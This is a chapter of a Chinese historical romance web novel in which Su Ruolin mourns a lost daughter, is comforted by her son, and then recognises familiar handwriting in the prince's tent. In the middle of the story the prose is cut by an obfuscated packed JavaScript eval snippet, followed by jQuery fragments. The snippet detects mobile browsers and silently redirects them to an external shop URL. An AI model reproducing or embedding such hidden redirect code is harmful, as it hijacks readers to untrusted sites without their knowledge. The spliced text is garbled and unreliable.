自当铺归来以后,苏若琳便一直魂不守舍。
萧怀琳一路上用尽了浑身解数,却仍旧没能让心上人露出一个笑容。
等回到了暂住的府上,一堆事务又纷纷砸了过来,忙得他焦头烂额,再没有时间去开解心上人。
只好吩咐青芙,若是苏若琳有任何情况或是想要见他,一定要第一时间通知到他。
苏若琳自然是不想见他的,又或者说,在萱城的一连几日,她都闭门不出,谁也不见。
她的闷闷不乐实在是太过明显,明显到即便是忙到起早贪黑、几乎脚不沾地的杨纨玦杨纨枫两兄弟也注意到了母亲的不对劲。
他们也去找母亲安慰询问过,无论是分别去,还是两人一起,无论是单刀直入,还是旁敲侧击,却始终没能找到原因,而母亲的心情也并没有便好。
“你们两个这些日子天天往我这里蹿,公务怎么办?”苏若琳哭笑不得地看着坐在对面的杨纨枫,“我知你们最近忙,我这边没什么问题,你们先去忙正事,等闲下来以后再来找我也不迟。”
连着数日在母亲和公务之间连轴转,杨纨枫俊俏的脸上难掩疲惫的神色。
他沉默了片刻,最终道:“大姐的事情,等西伐结束,我一定会想办法搜寻大姐的下落。”
昨夜,他去了母亲和王爷去过的那家当铺,也了解了始末原委。
大姐一直是母亲的心病,也是侯府最忌讳谈论的话题。
他完全没想到,他们如今都出了侯府,甚至到了距离京城千里之外的地方,竟还能这般碰巧地遇到能让母亲触景生情的事物。
“从前儿子年纪小,很多事情无能为力,但是如今儿子已经拜官入仕,很多从前做不到的事情,如今都可以一试了。”
这般说着,他迎着母亲惊讶的目光,将那支珍珠步摇拿了出来。
“这支珍珠步摇多少也算是一条线索,等儿子归京后,会试着从这支步摇查起。”
“母亲。”杨纨枫将那支步摇递给苏若琳,“这步摇您拿着吧,若是想大姐了,就把这步摇拿出来看看。”
既然躲也躲不过,那就不要躲了,日后带着这支步摇,睹物思人,多多少少还能有些盼头。
苏若琳微微颤抖着接过那支步摇,紧紧地攥在手心里,眼眶已经变得通红。
可是她也终于露出了这些时日以来,第一个发自内心的笑容:“好。”
见到母亲终于露出笑容,杨纨枫也跟着笑了。
苏若琳红着眼睛看着面前的翩翩少年郎,曾经那个瘦弱得跟只小猴子一样的孩子,如今已经长成能够独当一面的模样了。
半晌,她缓缓开口,语气中带着些许鼻音,话语间却满是欣慰:“我的纨枫长大了。”
杨纨枫笑得愈加温暖:“以后母亲再遇到任何事情,都可以来告诉儿子。”
“儿子如今也可以为母亲分忧了。”
迎着母亲欣慰的目光,他又趁机询问了母亲这些时日以来的近况,说了许多体己话,这也是这对母子自突厥入京后的第一次促膝长谈。
得知宁安王并没有再欺负母亲,让母亲受什么委屈之后,他缓缓松了口气。
杨纨枫自母亲的院子里离开以后,苏若琳的心情明显好了许多。
翌日,朝廷派来交接的官员到了,将城中事务全部交代完毕后,萧军也浩浩荡荡地自萱城出发,征战下一座城池。
过了七夕,天气也渐渐地凉了下来。
心情好过一些之后,苏若琳便一直在想,她先前在当铺里对着萧怀琳闹脾气,回来还冷了他一路,是不是过分了些。
那孩子满打满算也才十七岁,正是年少气盛、意气风发的年纪,又是整个大楚唯一的王爷、未来的皇帝,何曾受过这种委屈?
她也不知道这些时日里,那小子一直没有理她,究竟是因为太忙了,还是心里也憋着气。
思来想去,她决定还是去说点好话,哄哄那小子。
毕竟问题也是出在她身上。
这般想着,她下意识去问身旁的青芙:“你家王爷现下正在何处?”
然而话刚问出口,她就笑了,这几日心情萎靡,连带着脑子都跟着糊涂了,青芙这些日子一直在她身边伺候她,怎么可能知晓萧怀琳的下落?
青芙原本正在温奶茶,此时听她这么问,那副银色面具下的双眸赫得一亮:“苏小姐,您要找王爷吗?”
“倒也不是......”苏若琳尚且有些犹豫,“若是他忙得话,那我就不打扰了。”
“王爷不忙。”青芙连忙道,“王爷说过,若是您有事情找他,他无论何时都有空。”
“啊,这样吗?”苏若琳看到青芙闪闪发亮的双眸,微微一愣。
“您有事要找王爷吗,王爷吩咐过,若您有事要找他,可以吩咐奴婢去知会王爷。”
“那等我真有事的时候再喊你吧。”苏若琳说着,有些不确定地看着她,“我怎么感觉......你好像有些兴奋?”
青芙笑而不语。
她是真心觉得,王爷和夫人就是天造地设的一对。
其实这些时日以来,萧怀琳也有些犹豫。
心上人难过的样子他看在眼里,疼在心里。
可是除了心疼,他难道还有其他办法吗?
明明母亲苦苦寻找的女儿如今就在她的眼前,可是他们却无法相认。
又或者说,他根本不敢去和母亲相认。
母亲和心上人,两个原本不可能有任何关系的词语,却出现在了同一个人身上,组成了一片名为禁忌的深渊,吞噬掉了他的一切勇气。
他真的害怕,若是他的心上人知晓了一切的真相,会不会对他恨之入骨?
他们甚至连......连那种事,都已经做过了,若是他的心上人知晓了他的真实身份,会不会嫌弃他脏,会不会觉得恶心......
有太多的如果横在他的心里,而每一个如果,都是一道巨大的沟壑。
那支母亲送给他的珍珠步摇被他找了出来,紧紧握在手里,脑中越想越乱,心情也越来越烦躁。
给起义军的信写了不过一个开头,他认命地放下笔,看着手中的珍珠步摇叹了口气。
这时,外边来报,有关下座城池的战术和部署需要他去裁夺。
“知道了。”
萧怀琳将珍珠步摇重新放到软榻上的包袱里,将案台上的信纸草草一拢,便出了军帐。
临离开时,他还特意问了句:“苏小姐今日可有异样?”
侍卫恭敬道:“回王爷,苏小姐自从前几日和杨二公子单独会面过后,心情好了许多。”
闻言,萧怀琳的原本微皱的眉头登时松了几分。
心情好了,那就好。
他又想起了先前在五十一号当铺买的那个翡翠镯子。
等着今日忙完,再去哄哄她吧,这镯子透得发亮,配她白皙的肌肤真得很适合。
萧怀琳这般想着,渐渐地走远了。
只是他没有想到的是,在他离开军帐以后,苏若琳竟然主动来找他了。
见到她来,侍卫们恭敬地行了个礼:“见过苏小姐。”
苏若琳微微颔首:“你们家王爷在帐里吗?”
“回苏小姐,王爷自清晨便去开会了。”侍卫说着,又想着先前王爷的吩咐,“你要找王爷吗?王爷有吩咐,若是您有事找王爷,可以吩咐小的们递话。”
苏若琳的心不由得暖了几分,那混小子还真是的..
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725720|123316||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
....把所有人都吩咐了一遍,生怕自己再找不到他。
“我没什么事。”她含笑道,“若是这会他不在的话,那我能到军帐里等他吧?”
这哪有不能的呢?全军还有谁不知道王爷对这位都纵容到了什么份上?他们若是得罪了王爷那是难逃一个死,若是得罪了这位......
那下场可就不是一个死这么简单了。
"那是自然。"侍卫们连忙道,还贴心地帮她把厚重的门帘掀开,“您请。”
苏若琳笑着走进军帐,环顾着帐内四周。
只见萧怀琳的军账里,家具的布置和从前并没有什么区别,方正的大八仙桌上,舆图敞开着,上面的标记比起先前见到的时候更加密集了。
苏若琳凑近舆图细细端详着,先前老爷子手把手教过她如何看舆图,得益于此,如今辨认这些标记并不难。
她依着舆图上的标识,以京城为起点,按照西进的路线这么捋下去。
这么一看,等收复了他们现在的这座城池以后,就还差......四座?
她不由得露出惊讶的神色,原来他们打得这么快吗。
也好,早日收复完余下的五座城池,早日凯旋而归,被突厥奴役的百姓们也能少受些苦难。
而且......
萧怀琳那小子可是亲口答应她了,最迟在凯旋归京之前,一定会把那些秘密全都对她托盘而出。
这么一想,居然也多了不少盼头了呢。
苏若琳微微一笑,旋即转过身,朝着屏风后的里间走去。
里间的布置也还和从前没什么区别,硬要说不同的话,大抵就是多了个搁置在软榻上的包袱。
望着那软榻上的鹅毛丝绸被褥,她白皙的俏脸不由得一红。
那个时候,她和萧怀琳就是在这床被褥上......
咳咳咳。
苏若琳连忙使劲摇着头,把这旖旎的想法自脑子里甩出去,她缓缓来到案台前,给自己倒了杯茶水。
然而倒出来的却是奶茶。
她不仅笑出了声,那小子居然也爱喝这甜腻的东西。
也是,他若是不爱喝,又怎么能把方子带到宁安王府里去?
只是这奶茶实在是解不了渴啊。
苏若琳有些无奈地放下茶杯,目光落到案台上的信纸上。
只见最上面的信纸方才写了一个开头,染着黑墨的毛笔草草地斜放在笔山上,砚台上的墨几乎快干了,想来是主人走得匆忙,尚未来得及收拾。
苏若琳饶有兴趣地拿起那张写了一个开头的信纸,细细端详着,说起来,她还从没见过萧怀琳的字迹呢。
但见纸上的字迹遒劲有力、笔走龙蛇,至勾折处,笔锋犀利,丝毫不拖泥带水。
遥想萧怀琳在军中说一不二、杀伐果决的做派,当真是字如其人......
等等。
苏若琳蓦地瞪大眼睛。
这,这字,这字......
她的脑中难以抑制地闪过一个画面。
那是安定侯府的一个春日,碧月轩的柳树郁郁葱葱,她那至今失散已有四年的女儿在她温柔的注视下,缓缓提起手中的毛笔,在纸上落下了“婉枝”二字。
字迹神韵超逸,明明是个温婉的女儿家,字里却透着一股风骨和刚毅,叫人见一眼,便永生难忘。
那苍劲有力的字迹落在曾经的苏若琳眼里,叫她明白,这小妮子的书法造诣很高,完全不需要再精进。
而现在,那段遥远记忆透过了四年的光阴,从她尘封的内心深处,被重新惊起。
那笔墨横姿的“婉枝”二字,也逐渐与面前信纸上的字迹重合。
怎,怎么会......